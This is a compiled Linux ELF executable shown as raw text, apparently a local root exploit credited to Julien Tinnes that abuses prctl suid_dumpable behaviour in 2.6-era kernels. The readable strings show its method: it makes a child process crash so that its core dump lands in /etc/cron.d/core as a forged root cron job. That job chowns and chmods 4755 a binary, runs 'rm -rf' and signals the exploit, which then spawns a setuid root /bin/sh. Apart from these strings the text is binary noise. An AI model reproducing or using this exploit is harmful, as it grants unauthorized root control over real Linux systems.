ELF    4  4  (    4 44           H H    H HHl     \ \\    ( ((   Qtd   /lib/ld-linux.so.2    GNU                        Y ?  L C  ? <  R   &   b E  e  l   F K  | 9  q m    8 9  =  6 ;   H   w =   e  .    _Jv_RegisterClasses __gmon_start__ libc.so.6 geteuid snprintf getpid prctl execl perror readlink setrlimit puts sleep kill chdir setgid signal fork gettimeofday exit _IO_stdin_used __libc_start_main setuid GLIBC_2.2 GLIBC_2.0                        $  ii   ii  $ 4 8 < @ D H L P T X \ ` d h l p t x |   U   5,%0 %4h %8h %<h %@h %Dh %Hh( %Lh0 %Ph8 p%Th@ `%XhH P%\hP @%`hX 0%dh` %hhh %lhp %phx %th %xh %|h %h %h 1^PTRhhQVhOUSQ [ tX[U= tv ҡuÉUXt t hXЃÐUj hhU )ua hL; j  j j hchct hkE y hxh  hh@u h[ hċhj Yu h$E  hXhj& hVu hE  jju, h) h4E d hV]Phthhhhh  h  EE= v hwE h[E}u hE } u jxN j hȌj uu hތE ej h$u+E< Й}< )ЃPh jx hxE EÐUWVS [r )Eu [^_1G;}r [^_ÐUÐUSRHtHЋCuX[ÐUSP [ X[    [+] getting root shell /bin/sh [-] execle prctl() suidsafe exploit (C) Julien TINNES /proc/self/exe [-] readlink This is not fatal, rewrite the exploit [-] signal [+] Installed signal handler /etc/cron.d [-] chdir [-] prtctl Is you kernel version >= 2.6.13 ? [+] We are suidsafe dumpable! /etc/cron.d/core [-] cronstring is too small [+] Malicious string forged [-] fork [+] Segfaulting child [-] kill [+] Waiting for exploit to succeed (~%ld seconds) [-] It looks like the exploit failed  $ h ( H t     (         oo oX \ ƅօ&6FVfvƆֆ T #/etc/cron.d/core suid_dumpable exploit SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin #%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d GCC: (GNU) 4.0.0 20050525 (Red Hat 4.0.0-9) GCC: (GNU) 4.0.0 20050525 (Red Hat 4.0.0-9) GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8) GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8) GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8) GCC: (GNU) 4.0.0 20050525 (Red Hat 4.0.0-9) .symtab .strtab .shstrtab .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment       #   ((  1   HH    7        ?   tt  G o XX 0    T o  0    c       l      u   hh   p    `   {    H    ((     DD     DD     HH     PP     XX     \\      $$      (( `          @              ,          (   H      t   X           h      (  D   D   H   P   X   \   $   (                       H   * P   8 X   E    T    [ (  q \    } L   T   D   X      ?  C  <   \    D      ) &  9  K   N E  c H t       e               h   K              9   m        H 0 O  @   L   Q   n H     9   (   =   H  ;        (      H ' H   6 =  F    S g H } e      call_gmon_start crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ completed.4583 p.4582 __do_global_dtors_aux frame_dummy __CTOR_END__ __DTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux prctl2.c readlink@@GLIBC_2.0 execl@@GLIBC_2.0 getpid@@GLIBC_2.0 _DYNAMIC _fp_hw perror@@GLIBC_2.0 fork@@GLIBC_2.0 signal@@GLIBC_2.0 sh setrlimit@@GLIBC_2.2 __fini_array_end __dso_handle __libc_csu_fini setgid@@GLIBC_2.0 crontemplate fname puts@@GLIBC_2.0 _init prctl@@GLIBC_2.0 myrlimit te _start chdir@@GLIBC_2.0 sleep@@GLIBC_2.0 cronstring __fini_array_start __libc_csu_init __bss_start main __libc_start_main@@GLIBC_2.0 __init_array_end data_start printf@@GLIBC_2.0 _fini gettimeofday@@GLIBC_2.0 __preinit_array_end snprintf@@GLIBC_2.0 exit@@GLIBC_2.0 _edata _GLOBAL_OFFSET_TABLE_ _end __init_array_start _IO_stdin_used kill@@GLIBC_2.0 __data_start _Jv_RegisterClasses __preinit_array_start setuid@@GLIBC_2.0 geteuid@@GLIBC_2.0 __gmon_start__